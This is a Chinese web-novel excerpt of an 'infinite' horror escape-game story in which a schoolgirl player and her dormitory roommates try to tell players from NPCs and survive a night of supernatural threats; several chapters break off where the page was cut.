《逃生副本路人甲[无限]》 1. 逃生游戏【修改作话】 《逃生副本路人甲[无限]》全本免费阅读 短发女孩坐在桌前,对着支好的折叠镜梳头,那把红木梳不断穿过她的发丝。 一下、又一下…… 镜面映照出的面孔苍白而年轻,两颗漆黑的眼珠盯着只有桌上那本侦探小说那么大的镜子,就那么盯着,眼神发直地盯着—— * 宁梨进入游戏已经有三分钟了。 是的,这是一款游戏。 她不知道自己是怎么进来的,这并不简简单单指她不记得自己为什么要玩这款游戏,更为糟糕的是她甚至连自己是谁都忘了。 唯一留有印象的,也只有宁梨这个名字而已。 在这种情况下,宁梨根本没有理由和权利拒绝参与这场游戏,毕竟,她仅有的信息都来自脑海中的游戏系统。 【玩家宁梨,欢迎来到逃生游戏Survivor】 【在这里,你唯一能相信的只有自己。为了达成逃生目标,玩家可以利用身边的一切工具、人类,以及NPC】 【游戏过程中,请勿轻易透露玩家身份】 【本款游戏拟真度为100%】 【游戏将于五分钟后开始,请玩家做好准备,尽快适应个人角色】 【逃生目标:生存24小时】 【祝您好运】 等待的五分钟里,宁梨脑中空荡的记忆被不断填补、完善,囊括她的出生、童年以及现在。 若非已经知道这是一场游戏,宁梨几乎要以为那就是她丢失的全部记忆。 她叫宁梨,是一名十七岁的女高住读生。 父母常年忙于工作很少回家,因此即便是周末,她也选择留校。 现在是周日晚十点三十八分,晚自习已经结束,她和一个名叫沈慕斯的舍友在食堂加餐后一起回到宿舍。 沈慕斯进门就直奔阳台去洗漱,宁梨抬头想看看其他舍友,她是靠门的下铺一号床,沈慕斯睡靠门另一边的下铺二号床。 为了不让自己的举动看起来太过奇怪,宁梨走向靠窗两张上铺下的书桌。 五、六号床的室友还没回来,但是床铺铺得整整齐齐,和记忆里也能对照上,应该没有问题。 宁梨搬开椅子坐下,抽出夹在书立里,和几本教材、课外书混在一起的折叠镜,支起架好,这样她能随时看到身后的情况。 游戏规则实在太过简洁,宁梨到现在为止,都不知道自己将要面对什么,根据记忆分析,通常会是怪物或者鬼魂。 “宁梨”似乎没有看过太多相关的书籍和影片,不知道是出于害怕还是别的什么原因,总之作为她的记忆继承者,宁梨现在暂时无法想象自己会遭遇什么,只能从题目上尝试挖掘。 逃生,顾名思义,是要从某种可能危及性命的情境中逃离并存活到最后。 所以,她必须时刻保持警惕。 宁梨拿起放在笔筒里的红木梳,一下下梳着自己的头发,她不能光照镜子而什么都不做,那同样太不可思议了。 刚才的介绍里还提到了NPC,宁梨猜测过舍友沈慕斯或许是NPC,因为大多数游戏都会给她这样的新手玩家,安排一个NPC作为指导者或引路人。 印象里她们是十分亲近的朋友,沈慕斯的表现也挑不出任何怪异之处。 性格这方面,或许游戏为了混淆视听,宁梨事实上不太记得沈慕斯是个什么样的女生。 最终,宁梨放弃试探沈慕斯,暂时选择保守策略。 她不想开局就暴露玩家身份。 2. 新舍友 《逃生副本路人甲[无限]》全本免费阅读 宁梨手中的红木梳掉到了地上。 她像是没听到一般坐在镜子前,眼球动也不动,如同一个僵硬的、没有生命力的玩偶。 * 那个“东西”,占据了空床位的那个“东西”,此刻已经停止了隆起。 它的长度和形状,结合那一丁点露在被子外面,压在枕头上,怎么看都像是一个脑勺似的东西,无一不在说明它也许真的是“她”,是宁梨记忆中不存在,游戏开始后却突然出现的第六位舍友。 她的出现方式实在是太可怕、太违背常理了。 宁梨连大气都不敢出,周围的舍友在各干各的事情,沈慕斯和江霖霖打过招呼后戴上耳机;江霖霖脸色很臭没搭理她,浑身上下萦绕着烦躁的气息;刘岚已经从衣柜里拿了换洗衣物去洗澡;李诗书咬着笔杆埋头做题。 宁梨已经开始怀疑,这群人里,会不会只有她一个玩家? 如果她们中有玩家,怎么会完全不在意周围的环境?已经知道这是逃生游戏,难道不应该时刻警惕吗? 她们又不是真的来这里读书的! 不断升级的紧张感令宁梨无法继续在监视、思考的同时重复梳头的动作,她手中的红木梳失手坠落,发出极为清脆的响声。 宁梨屏住呼吸,十指无意识地蜷缩起来,双眼惊惧交加,紧盯着“她”,内心不断安抚自己的情绪。 没事的,这只是很小、很小的动静。 即便舍友听到也不会在意。 不会在意的。 四周无比安静,安静到宁梨仿佛能听见自己急剧的心跳声。 怦怦。怦怦。怦怦怦。 咔。 咔。 咔。 宁梨还听到一种声音,来自身后那张书桌,宁梨仔细回忆,想起李诗书有一个小闹钟。 那种老式闹钟,指针走起来,发出的声音就是这样。 咔,咔,咔。 宁梨再度松了口气。 镜子里的“她”也静悄悄的,像是“她”的姿势那样,真的睡着了。 现在,宁梨只需要弯下腰,捡起那把红木梳,放回笔筒里,再装作什么都没看到一样,收起折叠镜,自然地起身去阳台洗漱即可。 宁梨深深吸了一口气,俯下身将手伸向落在地上的梳子。 它静静地躺在宁梨的桌子底下,等待着宁梨将它放回原处。 宁梨伸直了胳膊,就快要碰到红木梳—— 夏季校服短袖露出的胳膊上,蓦地多出一只女生的手。 视野余光里,也多出了一张脸。 宁梨感觉背上涔涔冷汗都在那一秒停止了流动,甚至连心跳都消失得彻底。 “……怎么了?”宁梨尽量平静地问。 沈慕斯蹲在地上,不知道什么时候摘下了耳机,她用另一只手抵在宁梨的桌角:“我怕你磕到头,我帮你捡吧。” 宁梨把椅子往后挪了挪:“谢谢。” 沈慕斯脸上浮现一丝微笑,她摇摇头,凑到宁梨为她腾出的空处,很轻易就拿到了红木梳,转过身。 这时,沈慕斯的身体完全正对着宁梨,她的嘴唇一张一合,无声地说了几个字。 宁梨起初没有看懂,疑惑地看着她。 沈慕斯的目光往她身后瞟去又迅速收回,再次重复了一遍。 宁梨忽地明白了,她自己分辨沈慕斯的唇形。 沈慕斯说:“你也看到她了,是吗?” 宁梨脸上还是迷茫不解的神情,唯有嘴唇下意识微抿。 沈慕斯起身,红木梳被她塞回宁梨手里。 她的头抬到和宁梨一般高度时,声音压低却清晰。 “宁梨,我是玩家。” 宁梨没有回应,拿回自己的红木梳放好。 这时镜子里的景象仍旧没有丝毫变化,不论是多出来的“舍友”还是冥思苦想的李诗书,又或者是背对宁梨坐在椅子上的江霖霖。 宁梨压下折叠镜,将自己的桌面复原,走向阳台洗漱。 她边挤牙膏,边思考沈慕斯的话。 沈慕斯看见了多出的舍友,这并不能准确说明沈慕斯也是玩家,起码宁梨不信。 NPC同样可以那么说,不是吗? 但是沈慕斯主动点明身份,明显是想获取她的信任,仅从这点看,恐怕沈慕斯已经确定她是玩家。 所以…… 在宁梨密切关注多出的舍友时,被忽视的其他人,很有可能像沈慕斯一样默不作声悄悄观察着周围的一切。 ——这至少说明本场游戏的玩家都很谨慎。 宁梨吐掉口里的牙膏泡沫,刚端起漱口杯,就被走到右侧的身影挡住部分灯光。 沈慕斯弯下拿起地上的水盆,手里袜子丢进水盆,拧开水龙头接水。 她没看宁梨,声音在厕所的水声中有点模糊不清,宁梨结合前言后语,可以大致听个明白。 “系统提醒玩家不要随便暴露自己的身份,为了通关可以利用工具、其他玩家和NPC。” 宁梨稍微往沈慕斯的方向靠近一些,以便自己听得更加清楚。 “游戏开始后情况不明,我不可能直接告诉你我的身份,所以观察了你一段时间。”沈慕斯说,“直到刚刚,我才确定你也是玩家。” “本来应该再等一等,但是多出来的那个东西阵营不明,我不想坐以待毙,所以只能选择唯一有把握的人。” 宁梨有些犹豫,不是她不相信沈慕斯所说的话,而是她不确定自己应不应该对沈慕斯交付信任。 要知道,她根本不了解沈慕斯啊…… 如果沈慕斯真的是想趁此机会先骗取她的信任,后面再利用她怎么办? 光是从观察力来看,沈慕斯就比她要强一些,而且现在已经有了行动计划。这种人领导力很强,稍不留神就会被牵着鼻子走。 宁梨只希望相安无事度过一晚,不想惹上任何麻烦。 “如果你是怀疑我的用心大可不必。”沈慕斯换了水,脏掉的贴身衣物变得干干净净,她一边拧干,一边继续说,“逃生目标是生存一天,玩家之间本身没有竞争关系,或许有人因为恐惧和绝望会选择坑害他人,但我不会。” “现在信息太少,我需要一名队友和我分析讨论,必要的时候互帮互助,拉上一把。两个人的力量总比一个人大。” 沈慕斯还想说什么,厕所哗啦啦的水声恰好停止,于是沈慕斯拿起阳台边的晾衣杆,也不再说话了。 厕所门很快打开,刘岚穿着极具少女心的粉色睡裙,擦着头发出来,胳膊上还搭着浴巾。 她那双眼睛又大又明亮,仿佛装进了整个天上的星星, 3. 熄灯 《逃生副本路人甲[无限]》全本免费阅读 名叫虞璃,美到不太真实的舍友并没有让宁梨等人做自我介绍。据她所说,搬进宿舍前,她在办公室看过了她们的照片。 可是……正常的转校生会主动要求查看舍友的个人资料吗?难道不是等见面了再彼此互相介绍认识? 宁梨感觉虞璃好奇怪。 就跟她的发色一样奇怪,高中应该是明令禁止学生染发的吧?还是这么张扬的颜色,瞎子才看不出来。 虽然宁梨对虞璃的怀疑又加深几分,但是想到之前沈慕斯说的考虑好就配合她——说的八成是现在,宁梨还是决定向虞璃示好,表达一下自己对转校生的关心。 反正这也算是……刷NPC的好感度? 姑且先认为逃生游戏的NPC也有这项数值吧! 宁梨看着那张美到过分的脸,隐隐的紧张感不自觉消退:“你的头发……没关系吗?” 新舍友用手指圈起几缕发丝,缠绕两圈握在手心里,低头看了一眼:“喔,你说这个啊?我也不知道。” “班主任没有说让你染回黑色吗?”宁梨超级惊讶,嘴巴都张成了O形。 “没有诶。”新舍友说完,脸上浮现出回忆的神色,几秒后,她不太确定地说,“或许是因为我妈妈捐了三栋楼?” 宁梨:“……”她酸了。 沉浸在无比羡慕的情绪里不到半秒,宁梨突然反应过来,不对,这是一款逃生游戏,不是什么小清新角色扮演!宁梨你清醒一点! 反复多次告诫自己,确定自己将游戏本质与逃生目标谨记于心后,宁梨才重新抬头看向虞璃。 虞璃在玩手机,垂落的发丝被她随手拨到耳后。 她的皮肤光洁透亮,滑动屏幕的手指纤细又修长。 宁梨默默感慨,新舍友简直是三百六十度无死角神颜。 人对美好的事物总是很容易心生好感,不由自主想要靠近。 她得克制自己不要被美色迷惑才是。 处理好内心的百转千回,宁梨发现沈慕斯坐到了李诗书桌子对面,两人正在交谈着什么。 ……不是说好只找一名队友?她明明都已经按照沈慕斯说的配合做了,沈慕斯现在不来和她商量后面的计划,反而去找别人吗? 宁梨垂头丧气,还是说自己看起来太畏首畏尾不可靠?所以有人抛出橄榄枝,轻易就能改变沈慕斯的想法? 事实上,看到沈慕斯像说的那样去做,而且整个过程勇敢果决、面对危机能做到随机应变,无论表情、动作还是言语全都滴水不漏—— 宁梨已经明白沈慕斯确实是绝佳的队友人选,也不意外此刻李诗书的举动,只是对自己有些埋怨和失望。 让你考虑那么多,现在错过机会了吧! “我说,你们不会真的都是NPC吧?” 一道陌生的女声盖过李诗书和沈慕斯的窃窃私语声,极具锐气地打破宿舍内互不干扰的和谐氛围。 宁梨低落的情绪一滞,她没有抬头,心里却知道声音的主人是进来以后一句话都没说过的江霖霖。 宁梨轻轻皱了下眉,江霖霖这是在干什么? 且不说那个凭空出现、无声消失的系统有多不合常理,就说她们现有的突然而至的无数常识与记忆,难道还不能说明游戏的真实性? 再说这款游戏顶着“逃生”这么个前缀,怎么想游戏内都是危机四伏、险象丛生,就算新手教程友好一些,里面的NPC也最好不要随便招惹交恶。 江霖霖尚且不确定谁是玩家谁是NPC,怎么敢这么大咧咧地开口直接戳破游戏真相? 如果游戏内全是设定好程序、没有思考能力的NPC,宁梨不认为系统有提醒她们适应角色的需要。 总而言之,不管江霖霖现在想干什么,宁梨都不觉得自己有必要配合对方。 上铺的李诗书和沈慕斯皆是朝下看了江霖霖一眼,李诗书情绪淡漠,沈慕斯则像是见到了傻子。 两人隔壁床的新舍友抬头,颇觉有趣地无声扬唇。 只有刘岚一人疑惑地问:“霖霖,你在说什么啊?” 噗嗤。宁梨在心里偷偷笑了下,大家果然都很谨慎。 除了已经默认玩家的沈慕斯和已经默认NPC的虞璃,刘岚和李诗书在她看来一个比一个像NPC。 “你们还跟我装是吧?这不就是个什么逃生游戏吗?” 江霖霖呸了一口,颇为晦气地说,“我不知道我是怎么进这个鬼游戏的,但是按照游戏定律,如果是单人模式,那这前置待机时间明显长得离谱了。所以我想,应该是团队模式的新手副本,先让玩家彼此认识,之后才好开始游戏。” “我认为玩家和NPC应该可以被轻松区分开。新手关的NPC多半智商较低,很可能不具备思考能力。如果你们现在承认自己是玩家,这个副本不需要我们彼此争夺逃生机会,大家可以交换信息,分工合作。” “但是,如果你们不承认自己是玩家,那么接下来的时间里我会独自行动。”说到这里,江霖霖停下来,一一看过每一个人,然后发出一声轻蔑的冷笑。 “毕竟,我可不想和缩头缩尾藏在后面,什么都不干一心只想着坐享其成的人做同伴。” 这段话对于宁梨来说信息量有点大,她稍微花了点时间消化。 江霖霖说的有道理,但是宁梨认为只是一种可能,或许“江霖霖”玩过或者看过很多类似的游戏,然而做事情最忌讳一叶障目,过于相信经验之谈。 宁梨是个非常谨慎的人。 只要有她能考虑到的失误可能性,她就打从心底不愿意去做。 于是,宁梨站起来把椅子放好,安安静静地坐上床铺,权当没听见江霖霖的话。 只不过她拉过空调被盖好,准备躺下时,瞥见沈慕斯往她这里看了一眼,对上视线后还冲她眨了下左眼。 ……? 宁梨没懂。 可惜高中住宿守则不允许她不懂就问。 宿舍里的白炽灯“啪”的一下关掉,整个宿舍陷入一片伸手不见五指的黑暗。 宁梨微微张开的唇无奈合上,听见楼道里传来舍管老师那双凉拖趿拉趿拉走近的声音。 光线从外面透进来,宁梨都能想到她是怎么提着那个大手电筒,左晃一下右晃一下地走着。 “都给我把灯熄了上床哈!到点了熄灯了,不要再熬夜看书了!” “早上起又起不来,成天成天地上课睡觉,捡芝麻丢西瓜……你们老师都给我打了不知道多少通电话!让我一定要监督你们到点休息,再被我发现偷偷打灯的,一律按违纪处理!” 宁梨心口一跳,下意识看向李诗书的床铺,她记得李诗书的桌边有一盏小台灯,幸好对方刚才没有打开,否则一旦被定为违纪,还不知道会怎么处理…… 这可是一款逃生游戏! 舍管老师的脚步声逐渐远去。 啪。 微弱的、暖黄色的灯光亮起,李诗书打开了那盏小台灯,调的是最低一档。 她举着灯,微微用手挡住一侧。 沈慕斯借着灯光,迅速且平稳地攀下栏杆,又速度爬上自己的床铺。 李诗书没有立马关灯,她敲敲栏杆,声音低低地、听不出喜恶地说:“霖霖,老师一会儿还要回来,你快点上床。” 宿舍楼内部由主楼梯从中间将两边分开,每层楼三十二个房间,两侧走廊尽头各有一个副楼梯。 舍管老师查寝时通常从其中一个副楼梯进入楼道,从走廊这头走到那头,然后再从那头走回这头,通过同一个楼梯去下一层检查。 她们216在楼道中段,舍管老师马上就会折返经过。 “嗤,你关了吧,我用不着。”江霖霖说。 这时宁梨才注意到,江霖霖的桌上摆着一把普通剪刀、一把带刀鞘的水果刀、一只进口钢笔,还有一卷胶带。 与此同时,江霖霖抖落塑料盒子里余下的几张创口贴。 暖黄灯光瞬灭,李 4. 清醒梦 《逃生副本路人甲[无限]》全本免费阅读 那只血红色眼睛充斥着恶意,宁梨死死地盯着它,嘴唇在高度紧张的神经下咬破流出鲜血,她浑身战栗着,恐惧感马上要将她淹没—— 这时,一道身影挡在了她的面前。 宁梨心猛地一跳,随后借着外面的光亮认出这道身影正是沈慕斯。 宁梨不知道沈慕斯做了什么,从她的角度看,沈慕斯分明什么也没做。 宿舍楼的安静再次被打破,“嘭嘭嘭”的敲门声再次响了起来。 ——虽然宁梨觉得,比起说是敲门,倒不如说门外那个东西是在撞门,而且它的撞击速度越来越快,越来越快…… 就好像是,就好像是气急败坏一般! 清脆的开灯声响,李诗书又一次打开了她的小夜灯。 昏暗的屋子彻底亮了起来,宁梨顾不得身上穿着的夏季校服带来的黏腻感,率先看向了虞璃所在的四号床铺。 只见依旧美貌的白发女生掀开被子,不明所以地望向李诗书的方向。 看完那一眼后,她又转头瞟向宿舍的门。 四号床是上铺,虞璃如果跪在床上直起身体,可以从门的顶部窗口看见外面。 但是她没有那样做。 她只是盯着宿舍门的门板看了一会儿,然后神态自若地拿起连着手机的耳机线,将耳机塞进自己耳朵里,安然躺下,闭上双眼,双手稳稳置于腹部。 就好像完全没听见快把门拍烂的声音一样。 宁梨清楚地听到,随着她这一系列的动作完成,门外的东西仿佛完全能看见宿舍内的景象一般,诡异地停止了一秒。 然后,更加疯狂地冲撞门板! 从门板被撞出的动静完全能感受到它的愤怒。而且,宁梨看着颤动的宿舍门,她总感觉……这门似乎撑不了多久了。 视野中突然又多出一人。 江霖霖提着椅子走到门口,还没放下就被沈慕斯抓住手臂。 “你要干什么?”江霖霖眉头紧皱,“没看见门快被砸烂了吗?” “请你看清楚,这可不是普通家用卧室门。”沈慕斯一字一句道,她忌惮地瞥了眼宿舍门,克制着音量加快语速,“这怪物连铝合金的门都能撞破,你觉得它会被六把椅子挡住?” 江霖霖沉默几秒:“那你有什么办法?” 沈慕斯注视着摇摇欲坠的宿舍门,声音沉稳:“只有等。” 等……吗? 宁梨心脏揪成一团,脚趾紧扣着被子,双手抱紧双膝,咬紧牙关不让自己呜咽出声。 她好害怕……真的好怕…… 看见红眼睛的时候,她本来以为她已经要尖叫出来了。 “不用怕。” 一道冷静的声音传入宁梨耳中,奇异般安抚了宁梨慌乱紧张的情绪。 她不受控制地看向这道声音的来源,李诗书举着小夜灯,这次她完全没有用手去遮掩灯光,让光亮笼罩了整个216宿舍。 “它进不来的。”李诗书笃定地说。 ……为什么? “为什么?”一直沉默着,宁梨都以为她睡着了的刘岚忽然开口。 李诗书朝刘岚看去一眼,再把视线移回门上。 “ 5. 舍管老师 《逃生副本路人甲[无限]》全本免费阅读 江霖霖往上提了提椅子,不让椅子腿碰到地面:“行。我倒要看看你怎么证明。” 最靠近宿舍门的沈慕斯就站在门把手边,此刻她退后两步,坐到宁梨的床上,关切地看向宁梨:“梨梨,你还好吗?” 宁梨抱着膝盖的双臂已经放松了许多,她摇摇头。 沈慕斯看着她额头上的汗,握住她的右手:“别怕,我在。你先把被子盖好,躺下,好吗?” 宁梨不明缘由,但她选择相信沈慕斯。 她躺进被窝,看着沈慕斯用手给她拉拉被子、掖掖被角。 被子严严实实盖住了她,只露出一个脑袋。 撞门声还在持续。 宁梨有些惊讶,宿舍门竟然这么顽强?她刚才分明觉得它顶多再撑不到一分钟。 那看来—— 宁梨注视沈慕斯微笑着的脸颊,沈慕斯和李诗书一定已经明白了什么。 正如李诗书不久前说,门外的怪物是进不来的。 ——她们早就知道了。 突然,宁梨听见了门把手被用力旋转的声音。 那道连怪物都撞不开的铝合金宿舍门,就这么突如其来,不受任何阻力地打开了。 * “怎么回事?”来人不悦地问。 这一秒,宁梨清楚地看到,沈慕斯唇边的笑弧扩大,表情仿佛在说“果然如此”。 那个表情只持续了极其短暂的一瞬间,然后沈慕斯转过头,声音立刻变得无措而担忧:“老师,宁梨做噩梦吓醒,我们宿舍又大多睡眠浅,所以大家都被吵醒了。” “是吗?我看看。”比人先出现的是那个手提电筒,过于明亮的白光让宁梨下意识地闭眼,被窝里的胳膊也想要抽出来保护眼睛——但一只手仿若未卜先知般稳稳地压在了被子上,不容她挣脱。 手提电筒被移开,宁梨睁开眼,对上舍管老师打量的目光。 “出这么多汗?看来是真的被吓到了。” 女人没起疑心,任谁来看一眼现在的宁梨,也说不出宁梨不是被噩梦吓醒的话。 冷汗残余的额头、吓到发白的脸色、轻微颤抖的嘴唇……宁梨自己也控制不住,放在被子里的手揪紧床单。 哪怕现在站在面前的确实是记忆中那位正值中年的舍管老师,耳听目睹过之前接二连三异状的宁梨也无法再用平常心去看待她。 更何况既然现在舍管老师站在这里,那么请问,之前门外的东西……又去了哪? “那你拎着个椅子又是怎么回事?”舍管老师转移了关注对象。 “她帮我拿过来的。”沈慕斯说,“我怕坐床上压到宁梨或者让她觉得不太舒服,所以想坐在床边陪她一会儿。对不起老师,给您添麻烦了。” 女人闻言,直勾勾地看了沈慕斯一会儿,平整如一条线段的嘴唇两端一点点上扬。 “看在理由勉强正当的份上,这次我就不计较了。” 宁梨松了口气。 “不过,”女人鹰隼一样的眼神对准了江霖霖,“你恐怕根本没上床吧?” 她怎么会知道?! “这把椅子是你的还是她的?”没等江霖霖回答,女人已经抛出第二个问题。 江霖霖和沈慕斯都没有说话。 “哦?我可是已经看见掉在地上的违规刀具,你们不自己承认,是想当着我的面互相包庇吗?” 糟了! 宁梨抿紧嘴唇,居然忘了江霖霖掉在地上的刀! 可是刚才李诗书打开灯那会儿,江霖霖没有先把它们捡起来吗? 宁梨还在思考,女人已然露出笑容:“江霖霖同学,你为什么要往一张什么都没有的空桌子底下看呢?” 宁梨:!!! 江霖霖的脸色陡然变得难看起来。 是的,她明明之前趁着李诗书开灯收好了掉在地上的剪刀和水果刀,为什么要多此一举去确认。 那分明是眼前女人给她设下的圈套! “你还有什么想说的吗?江霖霖同学。”女人唇边酒窝荡漾,声音恍然间年轻了数倍,黏腻如蜜糖,充满着蛊惑人心的力量,“如果你要说是帮哪位室友保管的,我也完全会相信哦。” “毕竟,你们宿舍看起来关系可是非常好呢。” 宁梨睁大眼睛,江霖霖抓握着椅子的右手青筋暴出。 * “Oh!Jinglebells,JingleBellsjinglealltheway……” 一阵欢快的铃声不合时宜响起。 宁梨确信舍管老师的眉头猛地皱紧,眼皮也好像跳了几跳,紧接着气急败坏转过头,怒气冲冲地走到四号床下,踩上椅子,仰着脑袋用手拍打虞璃的被子。 “醒醒,醒醒!” 睡梦中的女孩毫无反应,甚至还极其自然地转了个身,背对着拍床的女人。 她耳朵上的白色耳机线也露了出来,很长一条。 被子掀起一半,某牌子最新款的手机安安静静地躺在那里。 宁梨第一反应:NPC也会内讧吗? 宁梨第二反应:不愧是能装成玩家的大佬级别NPC,好强! “虞璃!!”舍管老师终于忍不住发火了,她上手就要去拽虞璃的衣服,虞璃的名字在她口中不断重复。 “说实话,我现在有点怀疑她的身份。”沈慕斯悄悄和宁梨说。 宁梨不解。 沈慕斯:“因为她的行为从始至终没有什么逻辑,反而让我想起一个词。” 宁梨虚心求问:“什么?” “第四天灾。” * “啊!!!” 撕心裂肺的吼叫响彻整栋宿舍楼,虽然除了216宿舍,其他宿舍是否还有活人已经不得而知。 宁梨等人一头雾水地看着舍管老师凄厉尖叫,几乎是从椅子上摔了下来,全无之前的威风凛凛与恐怖压迫感。 现在坐在地上止不住颤抖的她,显得是那么脆弱、渺小、可怜。 宁梨很好奇,究竟发生了什么。 只可惜这个问题,恐怕只有坐在虞璃对床,直观目睹全程的李诗书能够解答。 而此刻李诗书的表情也有些凝固,叫人难以从她的反应获取任何信息。 看见这一幕,江霖霖终于下定决心。 “老师,违禁品是我的。” 宁梨意外地看向她,完全没想到她会选择现在回答,而且给出了这样的答案。 女人惊惶地朝四号床看去,放完英文版《铃儿响叮当》全曲后,虞璃的手机并没有继续播放下一首曲目。 一切又归于沉寂。 女人惊疑不定收回目光,从地 6. 怪异感 《逃生副本路人甲[无限]》全本免费阅读 仪容仪表检查日,是“宁梨”就读高中的特色之一,由学生会纪律部负责,每隔一星期随机抽查一次,不进行提前通知。 要求学生身着干净服帖的校服,佩戴领结、校徽,不留长指甲且甲缝中不留污垢,不染发不烫发、刘海不过眉,严禁携带打火机与烟盒。 抽查项目、抽查班级、抽查严格程度不定。 除纪律部当值学生,即便同处学生会,也只能知道确切时间这一项。 李诗书是学生会学习部部长。 沈慕斯从她那里得知了抽查日期。 宁梨瞬间将事情串联起来。 如果没有沈慕斯的提醒,宁梨自己又全然不记得有这么一回事——也许是游戏刻意为之,好比一开始模糊的室友性格——那么今晚她一定会直接穿着这身衣服睡过去。 按照“宁梨”的睡眠习惯,等她睡醒,校服已经皱巴到不能看,一个人只有一套应季校服,她很可能会更换便装。 到教室后,正巧遇上纪律部抽查仪容仪表…… 宁梨不敢再想,只觉从头到脚,浑身冰凉。 * 除了仪容仪表检查日,平时学校没有严格的着装要求,只是宁梨衣服不多,所以有时也会自己穿上校服。 整个216寝室,今天除了她,只有江霖霖和沈慕斯同样穿了校服,后者已经在冲洗后换成睡衣。 太大意了。 宁梨恍然意识到这点,她的主动性太差,受到惊吓后思维更是迟滞,直接导致现在不是跟着副本突发状况走,就是跟着沈慕斯和李诗书的安排走。 她必须尽快找回自己的思路。 宁梨一边思考,一边换下夏季校服。 沈慕斯陪着她拿着校服和衣架到阳台,挂上衣架后帮她拉展衣服的边边角角,然后用晾衣杆挂到靠内那根杆子的中间位置。 进宿舍前,宁梨问了沈慕斯一个问题。 “你说……江霖霖还能回来吗?” 沈慕斯脚步一顿,没有回头:“我不知道。” * 躺在床上,宁梨无法进入睡眠。她感觉自己的脑海里有无数的线索和信息,但是它们实在太杂乱无章了,就像猫咪玩过的毛线团,很难找出线头。 现在副本内的玩家宁梨都有了大致了解。 虞璃身份不定排除在外,江霖霖和216宿舍其他人明言切割,宁梨自己和沈慕斯确认组成团队,或许还要算上李诗书。 这样……刘岚的位置就变得很尴尬。 好比刚才,宁梨和沈慕斯、李诗书明显三人站在同一战线,变相孤立了刘岚。 虽然没有人直言,但是当时李诗书的态度之尖锐,显然对刘岚的提议颇为不满。 那副场面隐隐让宁梨感觉有些怪异,记忆里“刘岚”和寝室的大家明面上关系都还不错,今天宁梨见到的刘岚也是温柔、美丽而且随和,很容易博得他人好感。 她们都没经历过今天这种恐怖场景,谁也不能、也不该以此去指责被吓坏的刘岚。 或许李诗书是性格使然,处理完接连不断的状况后非常疲惫,急需休息,没有心情再去安抚刘岚的情绪。 想到这里,宁梨已经极其困倦,思绪稍一停顿就坠入了睡梦之中。 * 清晨,宁梨在周围一阵低声交谈与手忙脚乱中醒来。 天蒙蒙亮,透进来的光也不强烈,看起来不到六点。 宿舍里的声音渐渐变得清晰。 “酒精、棉签、绷带、湿巾纸。” “阳台有拖把,赶快先把门外拖干净!” “拿块干净毛巾来!没有吗?没有就去她衣柜拿衣服!” “江霖霖!江霖霖!能听见吗?不要睡!” 几乎全是李诗书的声音,间或夹杂一些低低的啜泣。 宁梨瞬间直起身,鼻间涌入一股浓烈的铁锈味。 宿舍门开了一半,沈慕斯拿着拖把在门口拖着什么。 宿舍内的地板砖上是大滩大滩的红色。 好多血! 宁梨心脏骤缩,飞快朝书桌那边看去,李诗书的声音就在那里。 只见李诗书抱着江霖霖,江霖霖身上的夏季校服已经被深红染得看不出原本的蓝白色。 低低啜泣声来自旁边拿着绷带和白衬衫的刘岚。 李诗书边喊江霖霖的名字,边迅速地解开她身上的校服衣扣,中间还抬头看了眼刘岚。 “这件不行,换别的。不要拿校服。还有,另外再拿件短袖过来。” 李诗书语速很快,但是咬字非常清楚。 刘岚听她一说,低头一看,啜泣断了一瞬:“呜呜我怎么拿错了,幸好阿诗发现得早呜呜呜……” “赶快去换,光哭有什么用?”李诗书皱眉不喜地说,她已经将江霖霖的夏季校服衣扣全部解开了。 宁梨倒吸一口凉气。 江霖霖的胸腹伤痕累累,有的地方深可见骨,怪不得会有那么大的出血量。 门被轻轻关上,沈慕斯一手拖把一手抹布:“梨梨醒了?下床的时候当心一点,别踩到血了。” 李诗书:“要是能忍住不叫就来帮忙。” 宁梨“咕咚”咽了下口水,闭眼深呼吸:没关系,没关系,沈沈和阿诗都能做到,她也可以。这是一款游戏,游戏而已。 脑海中猛地跳出一句【本款游戏拟真度为100%】 那么江霖霖受的伤……得有多疼? 昨天晚上被带走之后,江霖霖究竟经历了什么? 一道并不引人注目的响声短暂而迅速。 “剪刀?”沈慕斯疑惑地看向李诗书从地上捡起的东西。 李诗书拿着反复端详几眼:“嗯,这就是昨天那把。” 她看完就重新把剪刀放到了身旁的地上,继续呼唤江霖霖。 宁梨小心翼翼地下床,试图了解情况:“霖霖还活着?” “对,阿诗摸过她的脉搏。我们猜测是受伤严重失血过多导致昏迷,发现她的时候呼吸极其微弱。”沈慕斯也低下头继续拖寝室内的地板,“要想知道发生了什么,只能等她醒了。” 就在这时,或许是功夫不费有心人,江霖霖紧闭的眼皮渐渐分离,她缓缓睁开了眼睛。 “醒了就好。”在她看清周围是什么之前,李诗书的左手已经捂在她的双眼之上。 “……李诗书?”江霖霖迟疑的声音过了很长时间才响起。 李诗书“嗯”了一声,移开左手:“清醒就好,先别说话。刘岚,衣服给我。” 刘岚急忙把左手的绷带先放在大腿上,再分开右手的两件上衣:“要、要哪一件?” 李诗书直接伸手抽走长袖,稍微叠了两下增加厚度,然后塞进江霖霖嘴里:“咬住,待会儿千万别叫出声。” 江霖霖“唔唔唔唔”好几声,没人听得明白。 刘岚:“阿诗,不用听听霖霖说什么吗?” 李诗书:“你以为我们时间很多?” 宁梨踮着脚谨慎走近三人,听言朝李诗书书桌上的旧闹钟瞟了眼:“五点五十一了。” 宿舍楼六点十分开门,六点五十关门,之后留在宿舍的学生没有假条一律算作违纪。 宁梨迅速分析:“大家还要洗漱,霖霖换下来的衣服必须洗干净,拖把上的血也要全部冲掉,桌椅和洗漱用具要摆回原位,床铺需要收拾……时间很紧张,我们必须争分夺秒。” 刘岚诺诺道:“梨梨说得是,我怎么什么都想不到,太没用了……” “那就少说多做。”沈慕斯拎着拖把路过,拖把吸了太多血,她得去阳台清洗一下,“又不是所有人都擅长动脑。” 对话间,李诗书已经上手开始给江霖霖的伤口消毒,她头也不抬,动作迅捷:“宁梨,过来帮我剪绷带。” 宁梨又靠近三人一点,拿起刘岚放在地上的绷带,对比江霖霖的伤口,思索着应该剪多长。 “先剪一米五 7. 忠告 《逃生副本路人甲[无限]》全本免费阅读 该说幸运还是不幸,与刘岚分享这个噩耗的人是宁梨。 几乎是在听见那个字眼的瞬间,宁梨就下意识看向了门缝,那条极其狭窄的缝隙根本什么也看不见。 昨天那么清晰的血红眼珠子仿佛只是她的幻觉。 “梨梨……”刘岚抓住她的胳膊,抽泣着说:“我好害怕。” “——梨梨?” 阳台上,沈慕斯漱完口还没见到宁梨过来,不禁向后仰身朝宿舍内张望。 